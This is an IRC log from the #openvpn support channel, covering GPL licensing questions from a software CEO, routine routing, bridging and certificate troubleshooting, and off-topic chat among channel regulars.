13:12 < SebastianKreutzb> hi, I’m CEO at RhodeCode and we are currently dealing with commercializing RhodeCode. RhodeCode is currently under GPLv3 and we want to introduce a licensing per seat like what you guys are doing ...
13:12 < SebastianKreutzb> but we face issues about how to make that legally sound.
13:12 < marcinkuzminski> SebastianKreutzb: talk to pekster
13:12 < SebastianKreutzb> ok
13:12 < rob0> um "you guys"?
13:12 < j4jackj> Can't the OpenVPN project sell Access Server and Connect with support rather than messing around?
13:12 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:13 <+pekster> If you're dealing with the GPLv2 OpenVPN code, you must comply with the GPLv2 license. "Us guys" here deal *strictly* with the GPL side; if you want to know about the commercial side, you need to get in touch with the corporate arm, which is not us (try support@openvpn.net)
13:13 < rob0> Us guys are here supporting a GPL project
13:13 < rob0> or here:
13:13 < rob0> !as
13:13 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:13 < SebastianKreutzb> ah okay
13:13 < rob0> ^^ them guys are the commercial ones
13:13 < SebastianKreutzb> so there is a open source version which you take care of and access server is a commercial product?
13:14 <+pekster> Right
13:14 < j4jackj> SebastianKreutzb, why do you want to kill the GPL'd ness of your next version of RhodeCode?
13:15 < SebastianKreutzb> we need to start to make money out of it to work full-time on RhodeCode
13:15 < rob0> OpenVPN Tech. owns the GPL and the commercial projects, but obviously they do not control the community. They benefit from the community, and vice versa.
13:15 < SebastianKreutzb> RC should stay free but we want to sell seats if somebody creates more than 20 users inside the software
13:15 < j4jackj> SebastianKreutzb, sell support contracts then!
13:16 -!- HyperGlide [~HyperGlid@110.184.81.47] has quit [Ping timeout: 264 seconds]
13:16 < SebastianKreutzb> So OpenVPN Tech "invented" openvpn so they have the right to set its license(s)?
13:16 <+pekster> Depends on how you're using the codebase, but if you're not linking the GPLv2 APIs it may be possible to bolt a non-Free frontend onto the GPL stuff. Keep in mind IANAL, so it would be wise to seek out proper legal advice before making a call like that. That's of course forbidden by the GPL if you're linking from the GPL headers for integration
13:17 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Client Quit]
13:17 <+pekster> SebastianKreutzb: Not quite. OpenVPN Tech holds the copyright to the "OpenVPN" name used in the GPL product. The "Access Server" and "OpenVPN Connect" products are names for the completely independent non-Free codebase, and not subject to the GPLv2 rules since it uses no GPL code itself
13:17 <+pekster> Nothing stops me from forking the GPL product tomorrow and calling it pekster-VPN
13:18 < rob0> OpenVPN Tech is a company that bought openvpn from its creator, and then employed him as CTO.
13:18 < SebastianKreutzb> like what we plan, just that the RhodeCode creator IS the CTO at RhodeCode
13:19 <+pekster> Sure, but if you're using the GPL product you're bound by its license. You're free to make any offer you want to the commercial products, but that's not something us GPL hackers can help with beyond point you to the right people
13:19 < rob0> James started out as a geek coding in the basement, and some venture capitalists saw it as a way to make money.
13:20 < SebastianKreutzb> and he released it from day one under GPL?
13:21 < j4jackj> SebastianKreutzb, just don't close source. Offer support contracts.
13:21 <+pekster> At least going back to 1.2.1, yes. Some ancient releases can be found here: http://openvpn.net/release/old/
13:21 <@vpnHelper> Title: Index of /release/old (at openvpn.net)
13:21 < SebastianKreutzb> yes, we don’t want to close source it.
13:21 < rob0> openvpn is still and always GPL. Access Server (and the client) is not.
13:22 < SebastianKreutzb> ah okay, now I get it. So the idea is that the company owns the trademark and they add closed sourced frontends?
13:23 < rob0> Community folks around here are generally pretty happy with how the company has treated us.
13:23 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:23 < SebastianKreutzb> we want to do the same. we have a strong community and don’t want to offend or alienate them. it’s hard to find a good way to make money out of it to drive the development but still stay open source.
13:24 <+pekster> Sure. A number of notable companies felt the same growing pains, like vmware, redhat, etc
13:24 <+pekster> It's a tough balance
13:24 < SebastianKreutzb> yep
13:24 < rob0> Their business model seems to be to go for the clueless CTO types.
13:25 < rob0> the ones who keep Microsoft so profitable
13:25 <+pekster> Thus far the balance with OpenVPN vs non-Free stuff is overall great, minus some confusion on the website about what product one is actually downloading :P
13:25 <+pekster> (all a user needs to do is check the license, not that anyone actually does that these-days...)
13:25 < SebastianKreutzb> yes, I was also confused. and honestly said: openvpn access server (or how it is called) is the only open source software I ever paid for. that’s why I really like your model.
13:26 <+pekster> AS isn't open-source though
13:27 < SebastianKreutzb> yes, but I missed that point at the beginning. but anyway, now I get it. we file the trademark and release close-source frontends.
13:28 < SebastianKreutzb> or maybe we can even leave EVERYTHING under GPL as long as we own the brand.
13:28 <+pekster> Ah, right. And with no linking, you're free to handle your frontend widgets how you see fit for your business model
13:28 < SebastianKreutzb> about this linking even our lawyers are confused BTW ...
13:29 < SebastianKreutzb> just one question:
13:29 <+pekster> Yea, I let the IP layers fight over what exactly means what, but generally if you're doing #include <some-openvpn-lib.h> in code, that involves linking bits of code from a GPL product. That said, I'm no lawyer, so my advice holds no "official" weight what-so-ever
13:29 < SebastianKreutzb> ok, of course :)
13:29 < SebastianKreutzb> how do you define frontend widget? do you mean the view-layer of an app?
13:30 <+pekster> I mean a bit of software that doesn't link in any way against openvpn at the code level
13:30 <+pekster> For instance, interacting with the GPL OpenVPN's --management interface via a tcp socket wouldn't involve linking; using the plugin API in the C sources would
13:31 < SebastianKreutzb> ok, that’s they way I understood it, too. Thanks for your help, I think that really saved us :)
13:31 -!- trapito [~trapito@193.42.80.200.host.ifxnw.com.ar] has joined #openvpn
13:31 < trapito> hi
13:32 <+pekster> The basic test the GPL (as I understand it) uses is the question "Is your product a stand-alone software package, or is it an extension to a GPL product?"
13:32 < SebastianKreutzb> ah okay
13:32 < SebastianKreutzb> so a desktop app would be standalone to our web service for example
13:32 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
13:33 <+pekster> Right (even if one isn't really useful without the other, they don't share code)
13:33 < SebastianKreutzb> ok
13:34 < trapito> i'm running a vpn server on bridge mode and the bridge is attached to a network which family is 10.10.1.0/24 and i want my clients to be able to reach the network 192.168.1.0/24 through 10.10.1.1, i've tried pushing the route and also tried setting the route manually to no avail
13:35 < trapito> does anyone have an idea about that?
13:35 <+pekster> First off, why bridge to begin with if you really want routing anyway?
13:35 <+pekster> !whybridge
13:35 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
13:35 <@ecrist> !configs
13:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:36 < trapito> bridge because i wasn't able to reach the local network from the vpn clients otherwise, i'll paste the configs in a second
13:39 < trapito> http://pastebin.com/V8trmeic
13:40 < trapito> http://pastebin.com/B97Xt0tE
13:40 < trapito> the first one is the server config and the second one the client config
13:40 < trapito> though i'm using viscosity right now so i'm not using that particular one
13:43 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 240 seconds]
13:43 < trapito> btw i also need to reach the vpn clients from the local network
13:44 -!- crus [~crusader@2001:44b8:319e:2900:f00d:c985:10c3:38b4] has joined #openvpn
13:45 < rob0> IIUC about the licencing is that if you own it, you can offer the same thing with more than one license choice to the licensee. But that's not the case with AS, it is actually a different codebase (but came from the GPL openvpn.)
13:46 <+pekster> trapito: Pushing the route for the network you're defining with --server-bridge is an error since the network is already on-link on the tap interface of the client
13:47 < trapito> pekster: i just added that to try
13:47 < trapito> before i was adding the route in the clients manually with the actual gateway address
13:48 <+pekster> So the issue now is what, you can't access the server-side LAN?
13:48 <+pekster> Or othe LAN upstream from that?
13:48 < trapito> i can reach everything on the 10.10.1.0 net
13:48 < trapito> i can't reach anything on 192.168.1.0
13:49 < trapito> 10.10.1.1 should be the correct gateway for that
13:49 < trapito> so should i be able to do that just adding a route on the clients as i think i should?
13:50 < trapito> btw i'm not a native english speaker
13:53 <+pekster> You probably want --route-gateway 10.10.1.1 then
13:53 <+pekster> If you don't specify that (and specify it *after* the --server-bridge option) then your 192.168.1/24 route ends up attempting to route via 10.10.1.252, and this is not functional if that system is not able to forward the IP traffic itself
13:55 <+pekster> Remove that 10.10.1.0 route, and add `route-gateway 10.10.1.1` and you should find everything works as expected
13:56 < trapito> k let me try, it'll take a sec
14:00 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has quit [Remote host closed the connection]
14:04 < trapito> is this correct? http://pastebin.com/CT3v1hwb
14:05 <+pekster> That should do what you want
14:09 < trapito> uhm, it doesn't really work, maybe this offers a little bit more context http://pastebin.com/Z4ut8R8c
14:09 < trapito> there's a ping, traceroute and route list
14:10 < trapito> that's with "route-gateway 10.10.1.1" and "route 192.168.1.0 255.255.255.0"
14:11 < trapito> 10.10.1.252 is the vpn server's IP
14:14 -!- j4jackj [~j4jackj@99.199.11.127] has quit [Quit: ZNC - http://znc.in]
14:15 -!- j4jackj [~j4jackj@99.199.11.127] has joined #openvpn
14:15 < soapee01> krzee ping
14:19 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:20 < nosuid> Lets say im running an ovpn client connected to a vpn provider. I had to add route-noexec to the client config, otherwise the routers default gateway changes
14:20 <+pekster> trapito: ICMP code 10 = "Host Administratively prohitibed" -- fix your firewall on 10.10.1.252
14:20 < nosuid> I would like to route any internet-bound traffic through the vpn though
14:20 < trapito> oh
14:21 <+pekster> Even though it's acting as a bridge, I presume the server is still seeing the bridged packets in the firewall system, so you need to make accomidations to allow the traffic
14:21 < trapito> you're right pekster i forgot about that, i'm a dumbass, thank you very much =)
14:21 <+pekster> Sometimes you just need someone else to look at the data
14:21 < vaillor> i don't remember if "--topology subnet" should be a client or server parameter
14:21 < nosuid> Route add -net 192.168.1.0 netmask 255.255.255.0 dev tun1 fails though
14:21 < vaillor> can you remember me?
14:22 < nosuid> Also route add -net 192.168.1.0 netmask 255.255.255.0 gw the-pushed-redirect-gw-from-ovpn-log
14:23 < nosuid> I can ping that gateway though
14:24 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cmstnlqukkcrpufs] has quit [Quit: Leaving]
14:25 <+pekster> nosuid, don't change the default gateway:
14:25 <+pekster> !def1
14:25 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:27 < nosuid> pekster: I cant change the server config, it pushes redirect-gateway def1
14:27 < nosuid> So ill have to set up routing for the specific subnets manually
14:28 <+pekster> So use that client-side
14:28 <+pekster> Again, consult --redirect-gateway (who said anything about the server here?)
14:28 <+pekster> Any `push <foo>` option can be used on the client as simply `<foo>`
14:30 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:31 < nosuid> Hmmm... Why should i add "redirect-gateway def1" to the client then, server already pushes it?
14:31 <+pekster> You're apparently not applying them
14:31  * pekster sighs
14:31 <+pekster> If you want it, use it
14:32 <+pekster> If you don't like the config the server is pushing, change it on the server (or override it yourself locally)
14:32 <+pekster> If you think $provider does things poorly, complain to them or run your own
14:33 < nosuid> Sure, but as i dont want to change the routers own default route but tell it to route traffic from say 192.168.2.0/24 through the vpn, letting 192.168.1.0/24 use the already existing gw
14:35 <+pekster> You wanted "all Internet traffic" as you stated earlier. 192.168.2/24 doesn't have anything to do with the Internet.
14:36 <+pekster> I've no clue what it is you're trying to do, once again. You need to more clearly and concisely describe your goal
14:36 <+pekster> !goal
14:36 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:36 -!- j4jackj [~j4jackj@99.199.11.127] has quit [Ping timeout: 246 seconds]
14:37 < nosuid> As soon as the tun interface is connected (getting ip 1.2.3.4 with gw 1.2.3.1) i try doing "route add -net 192.168.2.0 255.255.255.0 gw 1.2.3.1) i get siocaddrt: no such process
14:38 < nosuid> Ok, let me try again. Linux router, gateway for 192.168.1.0/24 and 192.168.2.0/24. I fire up the openvpn client at tun1, getting ip 1.2.3.4 and gw 1.2.3.1
14:38 <+pekster> Is this a net30 topology?
14:39 < nosuid> Traffic from 1.0/24 should go through regular wan towards internet, 2.0/24 should use go through the vpn towards the internet
14:39 <+pekster> The obfuscation of IPs may be severly hurting you (IIRC you had this same issue before with 1.2.3.4 and 12.13.14.15 and xx.xx.xx.xx yesterday. I loose interest quickly when this happens.)
14:40 < nosuid> pekster: Nah, two vlans on the router
14:40 <+pekster> In net30 you must route via the PtP peer of your connection, *NOT* the "logical IP the server uses"
14:40 <+pekster> um, that's not relevant
14:40 <+pekster> This is for the openvpn IPs, and openvpn is not VLAN-aware
14:40 <+pekster> !interface
14:40 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
14:40 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
14:41 <+pekster> And stop hiding your IPs -- if you make it hard for me to read your output I'll stop caring and help people who can feed me sane information (at least keep the last 2 octets there so we can spot real issues and not made-up ones)
14:41 < nosuid> Ah, so with ip 1.2.3.4, ptp 1.2.3.3 and gw 1.2.3.1 on the tun interface i should use 1.2.3.3 as gw?
14:41 < nosuid> Sorry
14:41 <+pekster> That's *ALSO* not valid in net30 topology
14:42 <+pekster> :(
14:42 <+pekster> !/30
14:42 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
14:42 -!- j4jackj [~j4jackj@99.199.11.127] has joined #openvpn
14:42 <+pekster> 1) go figure out what topology you're using 2) get me (sane!) interface output 3) if the information you've provided is not obfuscated beyond all reasonable usefulness, you might get answers that will help. Optionally, B) don't do that and fix it yourself
14:43 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
14:43 <+pekster> heh
14:47 <+pekster> !learn topsecret as Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to "hide." Unclever attempts may be ignored with prejudice.
14:47 <@vpnHelper> Joo got it.
15:05 -!- taz_ [~taz@187.203.7.109.rev.sfr.net] has joined #openvpn
15:05 < taz_> hello :)
15:06 < taz_> is it possible to assign a static IP for each clients identified by this login ? In a setup of openvpn auth with login/pass. please
15:09 <+pekster> !static
15:09 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:10 <@krzee> taz_,
15:10 <@krzee> !static
15:10 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:10 <+pekster> double-or-nothing!
15:10 < taz_> thanks krzee :)
15:11 < rob0> !krzee
15:11 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
15:12 <@krzee> im at JFK airport, SLOW internet
15:12 < vertigo> !iporder
15:12 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
15:12 <@krzee> soapee01, pong, but i probably wont be here any more when you see this
15:14 -!- Emayu [Emayu@c-24-9-154-162.hsd1.co.comcast.net] has joined #openvpn
15:17 < soapee01> krzee you notice many quality issues with your openvpn/fs setup?
15:26 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:27 < nosuid> remote-cert-tls server replaces ns-cert-type server, right?
15:27 < nosuid> As in that both are not required?
15:27 <@EugeneKay> Those two arguments check different fields in the certificate
15:27 <@EugeneKay> Neither are required
15:27 < nosuid> I see, so both are recommended?
15:28 <@EugeneKay> ns-cert-type is deprecated
15:28 <@EugeneKay> (well, the fields for it are, in TLS certificates)
15:28 <+pekster> !mitm
15:28 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
15:29 <+pekster> And yes, remote-cert-tls is preferred as the "Netscape" options are deprecated, at least as far as OpenSSL is concerned
15:29 <@EugeneKay> Instead you use the server / client OIDs, which you check with remote-cert-tls
15:29 < Cultist> Should it be a fairly quick and straightforward process to set up an openvpn server just so you can have access to your home network resource (samba shares, etc)?
15:29 < nosuid> Right. So as long as remote-cert... is present and working there is no point in adding ns-cert...?
15:29 <+pekster> Cultist: More or less. See !howto and !serverlan for resources
15:29 <+pekster> nosuid: Correct
15:29 <@EugeneKay> Cultist - yes; the hardest part is building a PKI. You can use static keys for proof-of-concept in under a minute(if you know the syntax)
15:29 < kisom> Cultist: Sure, use static keys. Most of the messing around are the certificates.
15:29 <@EugeneKay> nosuid - exactly right
15:29 < Cultist> I've tried following like 10 different guides and it always fails
15:30 <@EugeneKay> !howto
15:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:30 <@EugeneKay> !blog
15:30 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
15:30 < Cultist> going to give it another shot this weekend I think
15:30 <@EugeneKay> ;-)
15:30 < Cultist> guides to include the one on openvpn.com
15:30 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Client Quit]
15:30 < Cultist> or wherever that one was
15:30 <@EugeneKay> .com is owned by a domain squatter, so....
15:31 < Cultist> or .net or whatever. The one on the official site I mean
15:31 < Cultist> it's been a few weeks since I last tried though
15:31 <@ecrist> openvpn.net is official
15:31 <@ecrist> we control .org, as well
15:31 <@EugeneKay> It would be nice if .org could be dedicated to the GPL stuff
15:31 < Cultist> On saturday I'll get it started and I will sit right here bugging you all til it's working :3
15:32 <@EugeneKay> And if wishes were fishes, I want a steak
15:32 <@ecrist> EugeneKay: we're working on it, slowly, but that's the "plan"
15:32 <@EugeneKay> Oooooh, nice.
15:32 <+pekster> I had the same thought when I read that
15:32 <+pekster> +1
15:32 <@EugeneKay> Will the .com frontpage be more explicit about GPL vs AS?
15:32  * ecrist has fingers in all sorts of pies
15:32 <@EugeneKay> It's not the finger in the pie that worries me
15:33 <@ecrist> only worry if you feel a hand on each shoulder
15:33 <@EugeneKay> I charge extra for that
15:34 < rob0> how much?
15:35 <@EugeneKay> About tree fiddy
15:35 < rob0> lol, BTW EugeneKay, I had my worst ever fire call Sunday morning. Helped cut a dead kid out of a mangled pickup truck.
15:36 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
15:36 <@EugeneKay> Sux, br0.
15:36 <@EugeneKay> We had a drunk lady off a hill a few weeks ago, and then a crispy kid before that
15:36 < rob0> I didn't mind the gore so much as it tore me up to see his mama there. Made me think how I'd feel if it was my kid.
15:37 <@EugeneKay> The dumbass was huffing gasoline, then lit a cigarette :-|
15:37 < rob0> whoa
15:37 <@EugeneKay> Yeah, like wtf
15:44 -!- j4jackj [~j4jackj@99.199.11.127] has left #openvpn ["Leaving"]
16:03 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has joined #openvpn
16:04 -!- Denial [Denial@90.202.5.141] has quit []
16:09 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:23 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:26 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Client Quit]
16:29 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
16:38 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:43 -!- vertigo [bleach@0x.ax.lt] has quit [Remote host closed the connection]
16:43 <@ecrist> muahahaha
16:44 <@ecrist> our IPv4 /22 was approved as was our IPv6 /44
16:45  * ecrist ponders what to do with 19,342,813,113,834,066,795,298,816 IPv6 addresses
16:45 <@EugeneKay> porn.
16:46 -!- vertigo- [bleach@2604:180::f476:be4f] has joined #openvpn
16:46 <@EugeneKay> Getting a /22 is something I ought to have done a year ago.
16:47 <@ecrist> we're finally growing up from an colo-provided /26 to our own space, and a second datacenter
16:48 <@ecrist> new DC will have 3 uplinks.  2 100MB to the net, and a 1GB to local exchange
16:48 -!- vertigo- is now known as vertigo
16:48 <@EugeneKay> I have a /26+/27 from HE; can't be arsed to put together enough justification for a /24(and thus, apply for a /22)
16:48 <@EugeneKay> Or is it a /28, I forget
16:49 <@ecrist> our utilization is only 13%, but we'll be multi-homed, which qualifies us
16:49 <@EugeneKay> I'm too cheap to get a second link.
16:49 <@ecrist> one of our 100M links it to HE
16:49 <@ecrist> only $200/mo
16:50 <@EugeneKay> I give HE $1/mbps for 100, but to get any other provider in the door is something like $25/mbps on a 20mbps minimum
16:50 <@EugeneKay> So, fuck that.
16:50 <@ecrist> the other is a local ISP who has 80GB to UUNet, Level 3, Zayo, and someone else
16:50 <@EugeneKay> Shiny.
16:50 <@ecrist> we're paying the same to that other provider
16:51 <@EugeneKay> Are you in a HE building? They generally don't do <1gb unless you're renting a rack from them
16:51 <@ecrist> 95% of our traffic is local, so the 1G connection to the local exchange (MICE) will be beneficial
16:52 <@ecrist> they'll sell us 1G for $400/mo, but we don't need it.  We're going to be in the "Minnesota Gateway" building, which is a carrier hotel + data center
16:52 <@ecrist> hence, cheap bandwidth
16:52  * rob0 sics CAT5 on your MICE
16:52 <@ecrist> ironically, with 1200Mbps of available bandwidth, our 95th is only ~500k
16:55 -!- taz_ [~taz@187.203.7.109.rev.sfr.net] has quit [Quit: Quitte]
16:56 <@EugeneKay> <EugeneKay> porn.
16:56 <@ecrist> heh
16:56 <@EugeneKay> I run a restricted-exit Tor node. It wastes quiiite a bit of bandwidth.
16:56 <@ecrist> *and* a new ~$35k NAS
16:56 <@EugeneKay> Ooooh, what sort
16:57 <@ecrist> iX TrueNAS Enterprise
16:57 <@EugeneKay> Never heard of it
16:57 <@EugeneKay> Probably a bad thing
16:58  * EugeneKay hugs his NetApp
16:58 <@ecrist> nope, we know what we're doing
16:58 <@ecrist> it's a FreeBSD + ZFS thing - we're 100% freebsd 
16:58 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
16:58 <@EugeneKay> Makes sense
16:58 <@EugeneKay> NetApps are also FreeBSD inside :-p
16:58 <@ecrist> yeah, I know
16:59 <@ecrist> so is Isilon, Compellent, Juniper, Cisco, etc etc
16:59 <@ecrist> just don't tell anyone
16:59 <@EugeneKay> Cisco? IOS? Or their new thing?
17:00 <@ecrist> We're going for Active/Passive heads, 96GB RAM (each), ZeusRAM ZIL with 2x SSD L2ARC
17:00 <@ecrist> it'll saturate 10G
17:01 <@ecrist> the new thing, and, supposedly, their recent (last couple years???) IOS
17:04 <@ecrist> there's a lot more freebsd out there than people realize (in large part due to BSD license)
17:05 <@ecrist> we have yet to see a test unit of that NAS, but a close friend is Director of IT for the company, and his word is gold to me
17:10 -!- Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has joined #openvpn
17:12 < Chrismo16> Hello all! I have a question. I need to setup a site to site layer 3 between 2 openvpn-as appliances but one of them is behind 2 routers instead of just one. How should I configure the routers?
17:13 -!- kasad [~kasad@77.222.19.218] has joined #openvpn
17:15 < vertigo> NAT?
17:21 <@ecrist> Chrismo16: you're in the wrong channel
17:21 <@ecrist> !as
17:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:23 < Chrismo16> oops my apologies
17:26 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
17:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
17:34 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
17:45 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:50 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
17:51 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
18:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:32 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-tauatfdvyirwwrob] has quit [Ping timeout: 246 seconds]
18:36 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 248 seconds]
18:38 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-jykexpjzhrszvqek] has joined #openvpn
18:38 -!- p3rror [~p3rror@41.250.237.136] has joined #openvpn
18:48 -!- master_o1_master [~master_of@p4FF24A84.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_of_master [~master_of@p4FF2497F.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
19:14 -!- trumee [~parul@93.186.148.70] has quit [Ping timeout: 240 seconds]
19:17 -!- trumee [~parul@93.186.149.62] has joined #openvpn
19:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:39 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
19:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:53 -!- raidz is now known as raidz_away
20:14 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has quit [Ping timeout: 240 seconds]
20:17 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has joined #openvpn
20:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:26 -!- HyperGlide [~HyperGlid@110.184.81.47] has joined #openvpn
20:54 -!- p3rror [~p3rror@41.250.237.136] has quit [Quit: Leaving]
20:59 < crus> Hi guys, I have an asymmetric routing problem as described: http://pastebin.com/LLMJhGgM - I'm wondering if there's some kind of funky iptables rule i can use to solve this?
21:45 -!- trapito [~trapito@193.42.80.200.host.ifxnw.com.ar] has quit [Remote host closed the connection]
21:50 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wmhlxituerjazvkm] has joined #openvpn
22:05 <@ecrist> crus: you're better off in an iptables channel
22:12 < Poster> seems like a route change would do it
22:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wmhlxituerjazvkm] has quit [Read error: Connection reset by peer]
22:13 < crus> yah fixed it with the following on the 192.168.10.6 box: ip rule add from 10.1.0.0/16 table 101 && ip route add default via 192.168.10.1 table 101
22:13 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xwfhlyjkyuphzmfv] has joined #openvpn
22:28 <+pekster> policy routing doesn't really have a "home" here -- #netfilter is the closest you get on Freenode for Linux, and perhaps ##freebsd for that platform. One of the "dark arts"
22:28 <+pekster> (and even then it depends on who's present at the time)
22:29  * ecrist often helps with freebsd here, but 1) not if you're an asshole and 2) if I'm drinking, everyone's an asshole
22:29 <+pekster> Right. I'll help out to a point, but when the topic become not even slightly-openvpn-related, I try to take the noise to a better place (unless I'm really bored :)
22:30 <@ecrist> yup
22:30 <+pekster> I should toss some write-up for policy routing around redirect-gateway on Linux, since that seems to come up a couple of times a month
22:31 < rob0> Are you drinking ecrist? I smell it in your ASCII.
22:31 <@ecrist> yes, I am
22:31 <+pekster> ASCII? Some of us are UTF-8 supported here ;)
22:31 <@ecrist> half a bottle of Captain Morgan down the hatch!
22:31  * ecrist supports UTF-8, prefers ASCII
22:31 < rob0> well, you know, I'm just an ASCIIhole
22:36 < rob0> Oh come on! You can drink to that!!
22:36  * ecrist does
22:36 <@ecrist> I'm busy loling at my google vanity search
22:36 <@ecrist> there's some old shit on there
22:37 <+pekster> Drink to that‽ I'll drink to that‼
22:38 < rob0> hey that's UTF8!
22:38 <+pekster> Sending UTF8 via my IPv6 IRC connection -- I like to rebel sometimes
